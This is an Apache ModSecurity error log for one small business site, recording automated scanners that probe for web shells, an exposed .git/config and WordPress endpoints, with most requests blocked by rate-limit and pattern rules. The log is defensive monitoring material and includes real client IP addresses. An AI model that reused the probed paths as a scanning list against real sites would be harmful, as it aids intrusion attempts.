[Wed Apr 15 01:06:01.288937 2026] [:error] [pid 17926:tid 17934] [client 20.240.133.195:6388] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad5z-fKxFvgDwMI04zBR0wAAAcE"]
[Wed Apr 15 01:06:01.816147 2026] [:error] [pid 62295:tid 62308] [client 20.240.133.195:43174] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad5z-Rng-JDNFCa0BnhpOQAAAAk"]
[Wed Apr 15 01:06:02.345231 2026] [:error] [pid 62295:tid 62311] [client 20.240.133.195:58382] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "ad5z-hng-JDNFCa0BnhpOwAAAAw"]
[Wed Apr 15 01:06:02.884428 2026] [:error] [pid 62295:tid 62321] [client 20.240.133.195:27902] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "ad5z-hng-JDNFCa0BnhpPQAAABY"]
[Wed Apr 15 01:06:03.422408 2026] [:error] [pid 62295:tid 62319] [client 20.240.133.195:58371] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "ad5z-xng-JDNFCa0BnhpQQAAABQ"]
[Wed Apr 15 01:06:03.948125 2026] [:error] [pid 17734:tid 17740] [client 20.240.133.195:41907] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "ad5z-9N3xsztF3DFLWz87gAAAIE"]
[Wed Apr 15 01:06:04.480366 2026] [:error] [pid 17926:tid 17942] [client 20.240.133.195:6487] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "ad5z_PKxFvgDwMI04zBR2gAAAck"]
[Wed Apr 15 01:06:05.006988 2026] [:error] [pid 17926:tid 17953] [client 20.240.133.195:36823] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "ad5z_fKxFvgDwMI04zBR3QAAAdQ"]
[Wed Apr 15 01:06:05.533039 2026] [:error] [pid 62432:tid 62455] [client 20.240.133.195:36843] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "ad5z_bPtNET7V_vfTPfP5gAAAVQ"]
[Wed Apr 15 01:06:06.075366 2026] [:error] [pid 62295:tid 62313] [client 20.240.133.195:58414] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "ad5z_hng-JDNFCa0BnhpRwAAAA4"]
[Wed Apr 15 01:06:06.616689 2026] [:error] [pid 17734:tid 17760] [client 20.240.133.195:43179] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "ad5z_tN3xsztF3DFLWz88AAAAJU"]
[Wed Apr 15 01:06:07.143395 2026] [:error] [pid 17866:tid 17879] [client 20.240.133.195:6500] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "ad5z_7x_17kv70EUVIlDIgAAAYs"]
[Wed Apr 15 01:06:07.672386 2026] [:error] [pid 17734:tid 17753] [client 20.240.133.195:29084] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "ad5z_9N3xsztF3DFLWz89QAAAI4"]
[Wed Apr 15 01:06:08.203970 2026] [:error] [pid 17734:tid 17762] [client 20.240.133.195:39411] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "ad50ANN3xsztF3DFLWz89wAAAJc"]
[Wed Apr 15 01:06:08.727971 2026] [:error] [pid 62295:tid 62311] [client 20.240.133.195:41896] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "ad50ABng-JDNFCa0BnhpSgAAAAw"]
[Wed Apr 15 01:06:09.252370 2026] [:error] [pid 62297:tid 62358] [client 20.240.133.195:36858] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "ad50AavogcWlrafOEaG93gAAAQQ"]
[Wed Apr 15 01:06:09.806597 2026] [:error] [pid 62432:tid 62458] [client 20.240.133.195:41918] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "ad50AbPtNET7V_vfTPfP8AAAAVc"]
[Wed Apr 15 01:06:10.335545 2026] [:error] [pid 17734:tid 17761] [client 20.240.133.195:39387] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "ad50AtN3xsztF3DFLWz8-wAAAJY"]
[Wed Apr 15 01:06:10.862120 2026] [:error] [pid 62432:tid 62455] [client 20.240.133.195:29085] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "ad50ArPtNET7V_vfTPfP8wAAAVQ"]
[Wed Apr 15 01:06:11.414593 2026] [:error] [pid 62432:tid 62445] [client 20.240.133.195:47733] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "ad50A7PtNET7V_vfTPfP9wAAAUo"]
[Wed Apr 15 01:06:11.940221 2026] [:error] [pid 17734:tid 17747] [client 20.240.133.195:63545] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "ad50A9N3xsztF3DFLWz8_AAAAIg"]
[Wed Apr 15 01:06:12.468689 2026] [:error] [pid 17734:tid 17740] [client 20.240.133.195:6344] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "ad50BNN3xsztF3DFLWz8_QAAAIE"]
[Wed Apr 15 01:06:12.993084 2026] [:error] [pid 17926:tid 17943] [client 20.240.133.195:58424] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "ad50BPKxFvgDwMI04zBR9gAAAco"]
[Wed Apr 15 01:06:13.526943 2026] [:error] [pid 62432:tid 62457] [client 20.240.133.195:29088] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "ad50BbPtNET7V_vfTPfQAQAAAVY"]
[Wed Apr 15 01:06:14.056106 2026] [:error] [pid 62432:tid 62454] [client 20.240.133.195:58304] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "ad50BrPtNET7V_vfTPfQCAAAAVM"]
[Wed Apr 15 01:06:14.586007 2026] [:error] [pid 17734:tid 17757] [client 20.240.133.195:41919] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "ad50BtN3xsztF3DFLWz9AwAAAJI"]
[Wed Apr 15 01:06:15.111414 2026] [:error] [pid 62432:tid 62436] [client 20.240.133.195:58381] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "ad50B7PtNET7V_vfTPfQCwAAAUE"]
[Wed Apr 15 01:06:15.637148 2026] [:error] [pid 17734:tid 17750] [client 20.240.133.195:44388] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "ad50B9N3xsztF3DFLWz9CQAAAIs"]
[Wed Apr 15 01:06:16.162482 2026] [:error] [pid 62432:tid 62449] [client 20.240.133.195:27874] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "ad50CLPtNET7V_vfTPfQDgAAAU4"]
[Wed Apr 15 01:06:16.691506 2026] [:error] [pid 17734:tid 17740] [client 20.240.133.195:44366] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "ad50CNN3xsztF3DFLWz9DQAAAIE"]
[Wed Apr 15 01:06:17.232235 2026] [proxy_fcgi:error] [pid 62295:tid 62312] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:06:17.498087 2026] [proxy_fcgi:error] [pid 62295:tid 62311] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:06:17.763155 2026] [proxy_fcgi:error] [pid 62295:tid 62316] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:06:18.031096 2026] [proxy_fcgi:error] [pid 62295:tid 62320] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:06:18.299494 2026] [proxy_fcgi:error] [pid 62295:tid 62299] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:06:18.565744 2026] [proxy_fcgi:error] [pid 62295:tid 62310] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:06:18.836321 2026] [proxy_fcgi:error] [pid 62295:tid 62307] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:06:19.103769 2026] [proxy_fcgi:error] [pid 62295:tid 62317] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:06:19.369209 2026] [proxy_fcgi:error] [pid 62295:tid 62301] [client 20.240.133.195:6471] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 04:04:16.504888 2026] [:error] [pid 4067:tid 4150] [client 154.54.100.171:40988] [client 154.54.100.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "ad6dwO5XHBJU8ZrRxZ0KLAAAAJM"]
[Wed Apr 15 04:04:30.071972 2026] [:error] [pid 4066:tid 4109] [client 106.77.162.182:7943] [client 106.77.162.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.77.162.182, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad6dzoC2YXfSPsC9O_BG0gAAAEU"]
[Wed Apr 15 04:04:30.083746 2026] [proxy_fcgi:error] [pid 4066:tid 4109] [client 106.77.162.182:7943] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 09:03:28.149780 2026] [:error] [pid 50234:tid 50251] [client 150.107.9.143:50964] [client 150.107.9.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.107.9.143, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad7j4Nr0cDjH19-BoGycDQAAAQ8"]
[Wed Apr 15 09:03:28.162165 2026] [proxy_fcgi:error] [pid 50234:tid 50251] [client 150.107.9.143:50964] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 17:33:39.524587 2026] [:error] [pid 11475:tid 11487] [client 112.133.255.148:30765] [client 112.133.255.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.133.255.148, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad9bc57upE98bj816HPu5AAAAUo"]
[Wed Apr 15 17:33:39.536725 2026] [proxy_fcgi:error] [pid 11475:tid 11487] [client 112.133.255.148:30765] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:25:48.092083 2026] [:error] [pid 31053:tid 31078] [client 102.0.173.173:50050] [client 102.0.173.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.0.173.173, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ad9nrBcEkLCmvF0fjDeQsgAAAJY"]
[Wed Apr 15 18:25:48.102874 2026] [proxy_fcgi:error] [pid 31053:tid 31078] [client 102.0.173.173:50050] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:55.192682 2026] [proxy_fcgi:error] [pid 31053:tid 31063] [client 51.120.68.159:18820] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:55.202084 2026] [proxy_fcgi:error] [pid 30957:tid 30993] [client 51.120.68.159:32115] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:55.454157 2026] [proxy_fcgi:error] [pid 31053:tid 31066] [client 51.120.68.159:18820] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:55.548722 2026] [proxy_fcgi:error] [pid 30957:tid 30994] [client 51.120.68.159:32115] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:55.716214 2026] [proxy_fcgi:error] [pid 31053:tid 31071] [client 51.120.68.159:18820] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:55.815154 2026] [proxy_fcgi:error] [pid 30957:tid 30998] [client 51.120.68.159:32115] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:55.980185 2026] [proxy_fcgi:error] [pid 31053:tid 31078] [client 51.120.68.159:18820] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:56.077005 2026] [proxy_fcgi:error] [pid 30957:tid 31003] [client 51.120.68.159:32115] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:56.241871 2026] [proxy_fcgi:error] [pid 31053:tid 31059] [client 51.120.68.159:18820] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 18:59:56.370671 2026] [:error] [pid 30957:tid 31002] [client 51.120.68.159:32115] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "ad9vrH5gwVEVXHfVSipqVgAAAE0"]
[Wed Apr 15 18:59:56.501088 2026] [:error] [pid 31053:tid 31060] [client 51.120.68.159:18820] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9vrBcEkLCmvF0fjDejNgAAAIQ"]
[Wed Apr 15 18:59:57.039848 2026] [:error] [pid 37370:tid 37379] [client 51.120.68.159:46987] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "ad9vrXg-gnM2Ga0cGAD5mAAAAQc"]
[Wed Apr 15 18:59:57.681271 2026] [:error] [pid 37370:tid 37385] [client 51.120.68.159:27286] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9vrXg-gnM2Ga0cGAD5mgAAAQ0"]
[Wed Apr 15 18:59:57.701702 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:6322] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "ad9vrRcEkLCmvF0fjDejOwAAAIc"]
[Wed Apr 15 18:59:58.363577 2026] [:error] [pid 30958:tid 31016] [client 51.120.68.159:3519] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9vrseG3wSKTO7NWFGHOgAAAMA"]
[Wed Apr 15 18:59:58.419030 2026] [:error] [pid 30958:tid 31022] [client 51.120.68.159:33871] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "ad9vrseG3wSKTO7NWFGHPAAAAMY"]
[Wed Apr 15 18:59:59.189478 2026] [:error] [pid 31053:tid 31067] [client 51.120.68.159:3639] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9vrxcEkLCmvF0fjDejPgAAAIs"]
[Wed Apr 15 18:59:59.312739 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:33872] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9vr3g-gnM2Ga0cGAD5oAAAARQ"]
[Wed Apr 15 19:00:00.134060 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:58406] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9vsBcEkLCmvF0fjDejSgAAAIA"]
[Wed Apr 15 19:00:00.199352 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:3126] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9vsBcEkLCmvF0fjDejTAAAAIc"]
[Wed Apr 15 19:00:00.809011 2026] [:error] [pid 30958:tid 31022] [client 51.120.68.159:46994] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9vsMeG3wSKTO7NWFGHTAAAAMY"]
[Wed Apr 15 19:00:00.924832 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:3108] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9vsHg-gnM2Ga0cGAD5uAAAAQQ"]
[Wed Apr 15 19:00:01.537111 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:58401] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "ad9vsRcEkLCmvF0fjDejVQAAAJU"]
[Wed Apr 15 19:00:01.640821 2026] [:error] [pid 37370:tid 37390] [client 51.120.68.159:47788] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an.php"] [unique_id "ad9vsXg-gnM2Ga0cGAD5wgAAARI"]
